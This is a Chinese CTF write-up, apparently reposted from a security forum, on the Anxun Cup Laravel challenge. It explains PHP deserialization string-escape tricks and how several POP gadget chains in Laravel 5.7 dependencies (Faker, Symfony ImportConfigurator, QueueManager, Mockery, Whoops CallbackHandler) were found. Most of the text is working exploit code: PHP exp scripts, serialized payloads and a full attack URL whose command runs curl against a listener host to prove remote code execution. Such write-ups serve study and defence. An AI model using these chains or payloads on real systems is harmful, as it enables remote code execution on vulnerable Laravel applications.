安洵杯Laravel反序列化非預期+POP鏈挖掘



先知社區:https://xz.aliyun.com/t/8296

最近的安洵杯又看到laravel反序列化+字符逃逸,找人要了題拿出來舔一下,看題發現出題大哥一些鏈沒完全堵死,總結下這類題和laravelPOP鏈接的挖掘過程

個人水平較差、文中錯誤內容還請師傅們指教糾正。

這類題的一些Tips:

pravite 、Protected 屬性序列化差別

Private、Protected屬性序列化和public序列化稍有差異

example:

O:4:"test":3:{s:5:"test1";s:3:"aaa";s:8:"*test2";s:3:"aaa";s:11:"testtest3";s:3:"aaa";}

可以看到其中Private的屬性序列化出來為%00類名%00成員名,而protected的屬性為%00*%00成員名,所以這里``Private、protected`的長度都分別加了3和6。

這里輸出中不會輸出空字接,所以傳遞payload的時候需要將這里出現的空字節替換成%00

PHP 反序列化字符逃逸

出的也很多了不新奇了

題型參考安恆月賽Ezunserialize、強網2020web輔助、Joomla 的逃逸

拿安洵杯中的代碼:

<?php
error_reporting(E_ALL);
function read($data){
	$data = str_replace('?', chr(0)."*".chr(0), $data);
	return $data;
	}
function write($data){
	$data = str_replace(chr(0)."*".chr(0), '?', $data);
	return $data;
	}
class player{
   protected $user;

   public function __construct($user, $admin = 0){
       $this->user = $user;
       $this->admin = $admin;
   }

   public function get_admin(){
       return $this->admin;
   }
}

這些題都會給一個"讀方法"和”寫方法“來對%00*%00\0*\0之間進行替換。這里給的是\0*\0?的替換,之間還是,一樣會吞並兩個位置留給我們字符逃逸

read函數: 將?替換為%00*%00,將1個字符變成3個字符,write則替換回來,多兩個字符空間

正常屬性:

加入????:

這里可以看到第三行user屬性的值變得非正常化了,s:8代表user屬性長度是8,所以它會向后取8個字符的位置,但是現在"qing\0*\0*\0*\0*\0"它如果在這里里面取8個字符會取到qing\0*\0\0,后面的就逃逸出來了,所以要想把pop鏈接的payload作為反序列化的一部分而非user字符串值的一部分就需要構造合適數量的?來進行逃逸。

簡單demo可以去看這個師傅的,這里不再敘述

反序列化字符逃逸

關鍵字檢測、__wakup繞過、魔術方法調用

這些網上很多了 簡單貼一下

關鍵字檢測:

if(stristr($data, 'name')!==False){

die("Name Pass\n");

繞過:十六進制即可,\6e\61\6d\65

__wakeup()繞過

序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過wakeup的執行

一些魔術方法調用:

__wakeup() //使用unserialize時觸發

__sleep() //使用serialize時觸發

__destruct() //對象被銷毀時觸發

__call() //在對象上下文中調用不可訪問的方法時觸發

__callStatic() //在靜態上下文中調用不可訪問的方法時觸發

__get() //用於從不可訪問的屬性讀取數據

__set() //用於將數據寫入不可訪問的屬性

__isset() //在不可訪問的屬性上調用isset()或empty()觸發

__unset() //在不可訪問的屬性上使用unset()時觸發

__toString() //把類當作字符串使用時觸發

__invoke() //當腳本嘗試將對象調用為函數時觸發 把對象當作執行的時候會自動調用__invoke()

安洵杯laravel反序列化字符逃逸

拿到源碼重新配置下env和key等配置

入口:

app/Http/Controllers/DController.php:

Controller類:

app/Http/Controllers/Controller.php:

<?php

namespace App\Http\Controllers;

use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Routing\Controller as BaseController;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;

class Controller extends BaseController
{
    use AuthorizesRequests, DispatchesJobs, ValidatesRequests;
}
function filter($string){
    if(stristr($string, 'admin')!==False){
        die("Name Pass\n");
	}
	return $string;
	}
	function read($data){
   $data = str_replace('?', chr(0)."*".chr(0), $data);
   return $data;
	}
	function write($data){
   $data = str_replace(chr(0)."*".chr(0), '?', $data);
   return $data;
	}
class player{
   protected $user;

   public function __construct($user, $admin = 0){
       $this->user = $user;
       $this->admin = $admin;
   }

   public function get_admin(){
       return $this->admin;
   }
}

都老套路就直接搜索哪里檢測了'admin'字符串吧:

搜了以下edit沒有存在函數,那可能就是調用不存在的方法來調用__call()

laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php

最重執行到getFormatter函數:

 public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
   ...
    public function format($formatter, $arguments = array())
    {
        $args = $this->getFormatter($formatter);
        return $this->validG->format($args, $arguments);
    }
   ...
   public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }



getFormatter函數發現沒啥戲,而format函數中的 return $this->validG->format($args, $arguments);,並且$this->validG可控,繼續尋找下一位幸運兒

vendor/fzaninotto/faker/src/Faker/ValidGenerator.php #format看到了call_user_func_array了:

  public function format($formatter, $arguments = array())
    {
        return call_user_func_array($formatter, $arguments);
    }

編寫POP反序列exp:

以最后反序列化執行system()為例:

如果要反序列執行危險函數比如system函數就要控制最后代碼執行函數call_user_func_array的第一個參數$formatter,而這個是$formatter通過laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php return $this->validG->format($args, $arguments);format函數的args參數,此參數來自於getFormatter函數的返回值,控制return $this->formatters[$formatter];返回類似`system、shell_exec'之類即可。

getFormatter$this->providers進行foreach取值,這個可控,傳入給getFormatter函數的唯一參數$formatter的值是為edit這個字符串(最先調用Generator類的edit這個不存在的方法,固會調用Generator這個類的__call並傳入edit參數),所以需要做的就是將$this->formatters建立一個含有'edit'的鍵並鍵名為'system'數組:

class Generator
{
    protected $providers = array();
    protected $formatters = array('edit'=>'system');
    public function __construct($vaildG)
    {
        $this->validG = new $vaildG();
    }
     public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
    }
    public function format($formatter, $arguments = array())
    {
        $args = $this->getFormatter($formatter);
        return $this->validG->format($args, $arguments);
    }

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

}

最后在``vendor/fzaninotto/faker/src/Faker/ValidGenerator.php #formatcall_user_func_array中第二個參數$arguments為執行system函數的參數,由laravel57\vendor\fzaninotto\faker\src\Faker\Generator.phpformat函數第二個參數控制,而format函數由此類的__call調用,而GeneratorxCall由最開始的PendingResourceRegistration`類的析構調用:

public function __destruct()
    {
        if($this->name='admin'){
            $this->registrar->edit($this->controller);
        }
    }

所以這里的$this->controller即為最后system函數傳入的參數,編寫:

namespace Illuminate\Routing\PendingResourceRegistration{
class PendingResourceRegistration
{
    protected $registrar;
    protected $name = "admi\6e";
    protected $controller = 'curl http://127.0.0.1:8833/qing';
    protected $options = array('test');
    public function __construct($registrar)
    {
      $this->registrar = $registrar;
    }
    public function __destruct()
    {
        if($this->name='admin'){
            $this->registrar->edit($this->controller);
        }
    }
}
}

至於這里對於name屬性的判斷,十六進制改一下字符就行,老套路了。

最終exp:

寫鏈接的時候私有屬性賦值別漏寫了,上面說的pravite 、Protected記得替換00

<?php

namespace Illuminate\Routing{
class PendingResourceRegistration
{
    protected $registrar;
    protected $name = "admi\\6e";
    protected $controller = 'curl http://127.0.0.1:8833/qing';
    protected $options = array('test');
    public function __construct($registrar)
    {
      $this->registrar = $registrar;
    }
}
}
namespace Faker{
class Generator
{
    protected $providers = array();
    protected $formatters = array('edit'=>'system');
    public function __construct($vaildG)
    {
        $this->validG = new $vaildG();
    }
   
}

class ValidGenerator
{
    protected $validator;
    protected $maxRetries;
    protected $generator = null;
    public function __construct( $validator = null, $maxRetries = 10000)
    {
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }

}


}

namespace {
error_reporting(E_ALL);
$test = new Illuminate\Routing\PendingResourceRegistration(new Faker\Generator("Faker\ValidGenerator"));
echo serialize($test);}

再加上前面說的字符串逃逸的套路填充下逃逸字符即可。

最后字符串逃逸處理:

加上新增反序列屬性部分和結尾的}來完成閉合,然后現在文本中的%00實際只能占一個字符但是文本中顯示3個字符,替換成空格計算一下長度,最后再替換回去:

如果發現是單數可以把屬性名加一位湊成442 ,這里我把屬性名設置為qingx正好是偶數,?和\0*\0之間會吞兩個字符,所以前面?的數量為221

payload:

http://www.laravel57.com/task?task=?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????";s:5:"qingx";O:46:"Illuminate\Routing\PendingResourceRegistration":4:{s:12:"%00*%00registrar";O:15:"Faker\Generator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:4:"edit";s:6:"system";}s:6:"validG";O:20:"Faker\ValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:7:"%00*%00name";s:7:"admi\6e";s:13:"%00*%00controller";s:31:"curl http://127.0.0.1:8833/qing";s:10:"%00*%00options";a:1:{i:0;s:4:"test";}}}

非預期解 +laravel反序列化POP鏈接挖掘

找鏈還是從起點開始 比如常見的析構和__wakeup

看題大哥還是封了一些的 不過有的還是可以做

laravel57\vendor\symfony\routing\Loader\Configurator\ImportConfigurator.php

__destruct:

class ImportConfigurator
{
    use Traits\RouteTrait;

    private $parent;

    public function __construct(RouteCollection $parent, RouteCollection $route)
    {
        $this->parent = $parent;
        $this->route = $route;
    } 
public function __destruct()
    {
        $this->parent->addCollection($this->route);
    }
...
    
    

發現\laravel57\vendor\symfony\routing\RouteCollection.phpaddCollection

然而這條路我找了並沒有走通,有師傅這條走通的麻煩指點一下

 public function addCollection(self $collection)
    {
        // we need to remove all routes with the same names first because just replacing them
        // would not place the new route at the end of the merged array
        foreach ($collection->all() as $name => $route) {
            unset($this->routes[$name]);
            $this->routes[$name] = $route;
        }

        foreach ($collection->getResources() as $resource) {
            $this->addResource($resource);
        }
    }

回到搜索addCollection,走不動就調__call函數,其實這里就可以結合上面鏈的

結合原題中的__call方法POP鏈

laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php__call`函數:

 public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
   ...
    public function format($formatter, $arguments = array())
    {
        $args = $this->getFormatter($formatter);
        return $this->validG->format($args, $arguments);
    }
   ...
   public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

區別就是這里是調用 addCollection函數,所以傳遞給__call函數的第一個參數就是 addCollection,而$this->route = $route為傳入__call函數的第二個參數,最后構造laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php中的$this->formatters數組中含有addCollection鍵值指向調用的危險函數名即可,做法參照上面的exp,不再敘述。

注意Symfony\Component\Routing\Loader\Configurator\ImportConfigurator中的$parent替換成%00+Symfony\Component\Routing\Loader\Configurator\ImportConfigurator+%00

exp中刪除方法和進行字符串逃逸部分不再敘述

exp2:

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator
{
	private $parent;
    public function __construct($parent)
    {
    	$this->parent = $parent;
    	$this->route = 'curl http://127.0.0.1:8833/qing';
        
    }

}
}

namespace Faker{
class Generator
{
    protected $providers = array();
    protected $formatters = array('addCollection'=>'system');
    public function __construct($vaildG)
    {
        $this->validG = new $vaildG();
    }

}

class ValidGenerator
{
    protected $validator;
    protected $maxRetries;
    protected $generator = null;
    public function __construct( $validator = null, $maxRetries = 10000)
    {
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }
}


}


namespace {
error_reporting(E_ALL);
$test = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator("Faker\ValidGenerator"));
echo serialize($test);}

O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:72:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00parent";O:15:"Faker\Generator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:13:"addCollection";s:6:"system";}s:6:"validG";O:20:"Faker\ValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:5:"route";s:31:"curl http://127.0.0.1:8833/qing";}

原生POP鏈挖掘

回到前面傳入addCollection參數調用__call這步:

搜索發現\laravel57\vendor\laravel\framework\src\Illuminate\Database\DatabaseManager.php的call,沒發現什么特別但是調用了自己的connection

 public function connection($name = null)
    {
        $name = $name ?: $this->getDefaultDriver(); 

        // If the connection has not been resolved yet we will resolve it now as all
        // of the connections are resolved when they are actually needed so we do
        // not make any unnecessary connection to the various queue end-points.
        if (! isset($this->connections[$name])) {
            $this->connections[$name] = $this->resolve($name);

            $this->connections[$name]->setContainer($this->app);
        }

        return $this->connections[$name];
    }

繼續瞅瞅getDefaultDriverresolvesetContainer這幾個方法,發現一處call_user_func:

  protected function resolve($name)
    {
        $config = $this->getConfig($name); 
        return $this->getConnector($config['driver'])  
                        ->connect($config)
                        ->setConnectionName($name);
    }
//跟進getConnector:
    protected function getConnector($driver)
    {
        if (! isset($this->connectors[$driver])) {
            throw new InvalidArgumentException("No connector for [$driver]");
        }

        return call_user_func($this->connectors[$driver]);
    }

在跟到getConnector方法的時候發現其中的call_user_func函數的參數由$this->connectors[$driver]控制,而這個我們是可以構造來控制的,固可以利用這處來RCE.

構造的時候可以把$this->connectors[$driver]分兩個部分構造,一個構造$driver部分,一個構造$this->connectors部分

先看$driver:

可以看到$this->connectors[$driver]其中的$driver是在resolve函數中return $this->getConnector($config['driver']) 傳遞的,所以要去找$config,而$config$config = $this->getConfig($name);得到:

 protected function getConfig($name)
    {
        if (! is_null($name) && $name !== 'null') {
            return $this->app['config']["queue.connections.{$name}"];
        }

        return ['driver' => 'null'];
    }

這里可以看到函數返回值$this->app['config']["queue.connections.{$name}"];賦值給$config,取的是app屬性(三維數組)中config對應的數組下鍵值‘queue.connections.{$name}’對應的數組。app而又在構造函數賦值:

class QueueManager implements FactoryContract, MonitorContract
{
    ...
public function __construct($app)
    {
        $this->app = $app;
    }

所以編寫exp中讓app三維數組中config指向的數組其中存在‘connections.{$name}’鍵值指向的數組中含有driver鍵值即可

class QueueManager
	{
		protected $app;
		protected $connectors;
		
		public function __construct($func, $param) {
			$this->app = [
				'config'=>[
					'queue.connections.qing'=>[
						'driver'=>'qing'
					],
				]
			];
		}
	}

再來看$this->connectors:

因為最后指向call_user_func($this->connectors[$driver]);的地方是在$this->connectors數組中取出來的值來指向,比如上面的$driver變量定義的字符串是qing,那這里定義connectors數組中增加一個這樣的鍵值即可:

class QueueManager
	{		
		public function __construct($func, $param) {
			$this->app = [
				'config'=>[
					'queue.connections.qing'=>[
						'driver'=>'qing'
					],
				]
			];
			$this->connectors = [
				'qing'=>[
					xxx
				]
			];
		}
	}

call_user_func($this->connectors[$driver]);這里都可以控制了,固到這一步現在可以調用任意函數或者任意類的任意函數了,傻瓜式找一個類有危險函數的:

\laravel57\vendor\mockery\mockery\library\Mockery\ClosureWrapper.php

這里傳入closure參數為執行的函數,func_get_args()為執行函數傳入的參數 ,調用這個類的__invoke即可

編寫exp:

<?php

namespace Mockery {
	class ClosureWrapper
{
    private $closure;

    public function __construct($closure)
    {
        $this->closure = $closure;
    }

    public function __invoke()
    {
        return call_user_func_array($this->closure, func_get_args());
    }
}
}

namespace Illuminate\Queue {
	class QueueManager
	{
		protected $app;
		protected $connectors;
		
		public function __construct($a, $b) {
			$this->app = [
				'config'=>[
					'queue.default'=>'qing',
					'queue.connections.qing'=>[
						'driver'=>'qing'
					],
				]
			];
			$obj = new \Mockery\ClosureWrapper("phpinfo");
			$this->connectors = [
				'qing'=>[
					$obj, "__invoke"
				]
			];
		}
	}
}

namespace Symfony\Component\Routing\Loader\Configurator {
	class ImportConfigurator
	{
		private $parent;
		private $route;

		public function __construct($a,$b)
		{
			$this->parent = new \Illuminate\Queue\QueueManager($a);
			$this->route = null;
		}
	}
}



namespace {
error_reporting(E_ALL);
$test = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator("qing","qing");
echo serialize($test);}
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:72:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00parent";O:29:"Illuminate\Queue\QueueManager":2:{s:6:"%00*%00app";a:1:{s:6:"config";a:2:{s:13:"queue.default";s:4:"qing";s:22:"queue.connections.qing";a:1:{s:6:"driver";s:4:"qing";}}}s:13:"%00*%00connectors";a:1:{s:4:"qing";a:2:{i:0;O:22:"Mockery\ClosureWrapper":1:{s:31:"%00Mockery\ClosureWrapper%00closure";s:7:"phpinfo";}i:1;s:8:"__invoke";}}}s:71:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00route";N;}

發現phpinfo一閃而過,但這里沒辦法傳入執行函數的參數。

如果有師傅這里能執行任意參數的函數麻煩帶帶

這里因為有__invoke,我本想着把傳入類似實例化對象當作函數執行的地址來傳入參數發現都是沒地址返回,折折騰騰半天這條路子就放棄了,如果要執行有參函數,目前用Mockery類無法完成,只有尋找其他類

\laravel57\vendor\filp\whoops\src\Whoops\Handler\CallbackHandler.php

 public function __construct($callable)
    {
        if (!is_callable($callable)) {
            throw new InvalidArgumentException(
                'Argument to ' . __METHOD__ . ' must be valid callable'
            );
        }

        $this->callable = $callable;
    }

    /**
     * @return int|null
     */
    public function handle()
    {
        $exception = $this->getException();
        $inspector = $this->getInspector();
        $run       = $this->getRun();
        $callable  = $this->callable;

        // invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
        // this assumes that $callable is a properly typed php-callable, which we check in __construct().
        return $callable($exception, $inspector, $run);
    }

翻到CallbackHandler這個類時候發現完全符合條件,並且在包中原本的作用就是拿來回調的,固執行有參數的pop鏈接最后可以拿這個收尾

這里回調的地方:

public function handle()
    {
        $exception = $this->getException();
        $inspector = $this->getInspector();
        $run       = $this->getRun();
        $callable  = $this->callable;

        // invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
        // this assumes that $callable is a properly typed php-callable, which we check in __construct().
        return $callable($exception, $inspector, $run);
    }

發現函數名我們可以通過構造函數傳入,函數的第一個參數我們也可控,不過函數的第二個參數和第三個參數默認是給null,找了一下符合要求的執行函數:

綜上,exp3:

<?php
namespace Whoops\Handler{
abstract class Handler
	{
		private $run =null;
		private $inspector =null;
		private $exception =null;
		
	}
class CallbackHandler extends Handler
{

    protected $callable;
    public function __construct($callable)
    {
        $this->callable = $callable;
    }
}
}

namespace Illuminate\Queue {
	class QueueManager
	{
		protected $app;
		protected $connectors;
		
		public function __construct($a) {
			$this->app = [
				'config'=>[
					'queue.default'=>'qing',
					'queue.connections.qing'=>[
						'driver'=>'qing'
					],
				]
			];
			$obj = new \Whoops\Handler\CallbackHandler($a);
		//	$obj2 = $obj("curl http://127.0.0.1:8833/qing");
			$this->connectors = [
				'qing'=>[
					$obj,'handle'
				]
			];
		}
	}
}

namespace Symfony\Component\Routing\Loader\Configurator {
	class ImportConfigurator
	{
		private $parent;
		private $route;

		public function __construct($a, $b)
		{
			$this->parent = new \Illuminate\Queue\QueueManager($a);
			$this->route = null;
		}
	}
}



namespace {
error_reporting(E_ALL);
$test = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator("exec","qing");
echo serialize($test);}

END

Links:

https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html

https://blog.csdn.net/qq_43531895/article/details/108279135

https://www.cnblogs.com/BOHB-yunying/p/12774297.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM